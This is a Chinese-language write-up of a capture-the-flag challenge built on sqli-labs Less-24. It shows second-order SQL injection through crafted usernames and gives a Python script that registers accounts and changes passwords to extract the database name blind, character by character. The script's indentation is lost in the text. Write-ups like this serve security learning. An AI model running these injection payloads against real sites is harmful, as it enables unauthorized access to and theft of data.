UNCTF-Twice_Insert WriteUp

UNCTF-Twice_Insert WriteUp

UNCTF大法好

UNCTF-Twice_Insert

原理分析

题目提示twice-insert,分析是利用二次注入获取admin密码或者是暴库拿flag。

解题过程

1)访问目标主机,打开页面发现是sqli-labs-24,原题是利用二次注入修改admin密码,这题修改admin密码却没有flag,要想拿到flag可能需要爆库。
2)根据题意,尝试布尔盲注

  • 发现or被过滤,如此需要换一个思路,因为有注册按钮,尝试注册新用户。

3)注册一个新用户scl,password为1,然后注册用户scl’and 1#(该用户名用于测试注入),password为1,用于后面的测试
修改用户scl’and 1#的密码为0

修改成功:

4)将scl的密码重置为1:注册新的用户scl’and 0#,password为1,然后登陆该账号修改密码

回显如下:

密码更新失败,说明存在布尔盲注。

编写EXP

写python脚本,通过多次注册用户、修改密码,进行暴库。

#coding = utf-8
import requests
url = "http://183.129.189.60:10003/sqli/Less-24/login_create.php"
url1 = "http://183.129.189.60:10003/sqli/Less-24/login.php"
url2 = "http://183.129.189.60:10003/sqli/Less-24/pass_change.php"
#将密码改回1
def change21():
user = "scl"
s = requests.session()
data = {
"login_user": user,
"login_password": '0',
"mysubmit": "Login"
}
r = s.post(url1, data)
data = {
"current_password": '0',
"password": '1',
"re_password": '1',
"submit": 'Reset'
}
r = s.post(url2, data)

def second():
flag = ""
tmp = 1
for i in range(1, 50):
if tmp == 0:
break
tmp = 0
for j in range(32, 127):
s = requests.session()
user = "scl'and ascii(substr((select database())," + str(i) + ",1))=" +
str(j) + "#"
print user
# 注册用户名
data = {
"username": user,
"password": '1',
"re_password": '1',
"submit": "Register"
}
r = s.post(url, data)
# 登录用户
data = {
"login_user": user,
"login_password": '1',
"mysubmit": "Login"
}
r = s.post(url1, data)
# print r.content.decode()
if "YOU ARE LOGGED IN AS" in r.content.decode():
print "login ok"
#
更改密码
data = {
"current_password": '1',
"password": '0',
"re_password": '0',
"submit": 'Reset'
}
r = s.post(url2, data)
if "successfully updated" in r.content.decode():
flag += chr(j)
tmp = 1
print "change ok"
change21()
break
print flag
second()

总结

这个题目的类型是第一见,在北京联合大学举办的UNCTF里面第一次见到,然后昨天去打web安全的省赛又遇到了(安恒真会省事),当时拿到环境复现了一下,但是由于服务器原因,没有跑出完整的flag,但是是第一次见这类的题,写个题解学习一下。

Comments


:D 一言句子获取中...

Loading...Wait a Minute!